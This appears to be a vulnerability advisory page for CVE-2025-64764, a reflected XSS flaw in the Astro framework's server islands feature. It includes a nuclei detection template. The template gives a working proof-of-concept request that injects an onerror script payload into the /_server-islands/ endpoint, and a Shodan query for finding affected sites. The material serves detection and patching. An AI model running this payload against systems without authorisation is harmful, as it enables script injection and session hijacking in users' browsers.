Astro - Reflected XSS via server islands feature

highseverity

0.5%likelihood of exploitation, next 30 days

45%of all CVEs are less likely

Readycheck to confirm it

Astro 5.15.8 contains a reflected XSS caused by improper handling of server islands feature, letting remote attackers execute scripts, exploit requires use of server islands in the application.

Impact

Remote attackers can execute scripts in users' browsers, potentially leading to session hijacking or data theft.

Fix

Update to version 5.15.8 or later.

How to confirm it

Send: GET {{BaseURL}}/
Positive when: matches //_server-islands/[^?]+\?e=/
Send: GET /_server-islands/{{value}}?e=file&p=&s={"{{rand}}":"<img+src=x+onerror=alert(0)>"}
Positive when: status_code == 200 and contains(body, "<img src=x onerror=alert(0)>")

Run it with nuclei: nuclei -id CVE-2025-64764 -u <target>

The full check

id: CVE-2025-64764

info:
  name: Astro - Reflected XSS via server islands feature
  author: DhiyaneshDk,zhero___
  severity: high
  description: |
    Astro 5.15.8 contains a reflected XSS caused by improper handling of server islands feature, letting remote attackers execute scripts, exploit requires use of server islands in the application.
  impact: |
    Remote attackers can execute scripts in users' browsers, potentially leading to session hijacking or data theft.
  remediation: |
    Update to version 5.15.8 or later.
  reference:
    - https://zhero-web-sec.github.io/research-and-things/unlocking-reflected-xss-in-the-astro-framework
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"_server-islands"
  tags: cve,cve2025,astro,xss,vkev,vuln

variables:
  rand: "{{to_lower(rand_text_alpha(5))}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    host-redirects: true
    max-redirects: 2

    matchers:
      - type: regex
        part: body
        regex:
          - '/_server-islands/[^?]+\?e='
        internal: true

    extractors:
      - type: regex
        name: value
        part: body
        internal: true
        group: 1
        regex:
          - '/_server-islands/([^?]+)\?e='

  - raw:
      - |
        GET /_server-islands/{{value}}?e=file&p=&s={"{{rand}}":"<img+src=x+onerror=alert(0)>"} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "<img src=x onerror=alert(0)>")'
        condition: and

References

https://zhero-web-sec.github.io/research-and-things/unlocking-reflected-xss-in-the-astro-framework

Use this check only on systems you are authorised to test. Where the data comes from